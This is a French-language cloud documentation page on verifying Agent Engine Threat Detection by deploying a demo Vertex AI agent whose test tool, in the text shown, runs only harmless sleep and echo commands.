Tester Agent Engine Threat Detection

Cette page explique comment vérifier que Agent Engine Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Agent Engine Threat Detection est un service intégré de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos agents Vertex AI Agent Engine, assurez-vous que le service de détection des menaces Agent Engine est activé dans Security Command Center.

Configurer l'environnement

Pour tester Agent Engine Threat Detection, configurez un agent de démonstration qui simule une activité malveillante.

Créer un projet et activer le shell

Sélectionnez ou créez un projet Google Cloud à utiliser pour le test.

Pour tester les détecteurs, vous pouvez utiliser la console Google Cloud et Cloud Shell.

Accédez à la consoleGoogle Cloud .

Accéder à la console Google Cloud
Sélectionnez le projet que vous utiliserez pour le test.
Cliquez sur Activer Cloud Shell.

Vous pouvez également exécuter les instructions de test à partir d'un shell local.

Configurer Vertex AI Agent Engine

Si vous n'avez jamais utilisé Vertex AI Agent Engine dans ce projet, configurez l'environnement Vertex AI Agent Engine avant de commencer. Notez le nom du bucket de préproduction Cloud Storage que vous avez créé. Nous vous recommandons également de suivre le démarrage rapide de Vertex AI Agent Engine pour apprendre à développer et à déployer un agent avec le SDK Vertex AI.

Créer un script de test

Vous allez créer plusieurs fichiers qui seront utilisés pour déployer un nouvel agent à des fins de test. Pour cela, utilisez un éditeur de texte tel que nano.

Créez un fichier nommé requirements.txt avec le contenu suivant.

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

Créez un fichier vide nommé installation_scripts/install.sh. Certains tests nécessitent d'ajouter du contenu à ce fichier.

Créez un fichier nommé main.py avec le contenu suivant. Remplacez les variables PROJECT_ID, LOCATION et STAGING_BUCKET. Le nom du bucket intermédiaire doit inclure le préfixe gs://.

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

Configurer l'environnement virtuel

Créez et activez un environnement virtuel Python.

  python3 -m venv env
  source env/bin/activate

Installez les dépendances nécessaires dans l'environnement virtuel.
```
pip install -r requirements.txt
```

Tester le script

Exécutez le script depuis l'environnement virtuel avec python3 main.py. L'exécution de cette commande prendra plusieurs minutes pour compiler, déployer et exécuter l'agent de test.

Le script génère le nom de ressource de l'agent déployé, ainsi que quelques objets JSON, y compris une réponse LLM et d'autres métadonnées. Si vous rencontrez des erreurs d'autorisation ou de déploiement à cette étape, consultez la section Dépannage pour connaître la marche à suivre.

Tester les détecteurs

Pour tester les détecteurs Agent Engine Threat Detection, remplacez le code de la fonction threat_detection_test par un code qui simule une attaque. Le script peut prendre beaucoup de temps pour déployer l'agent et l'interroger. Pour accélérer les tests, vous pouvez combiner le contenu de plusieurs de ces fonctions.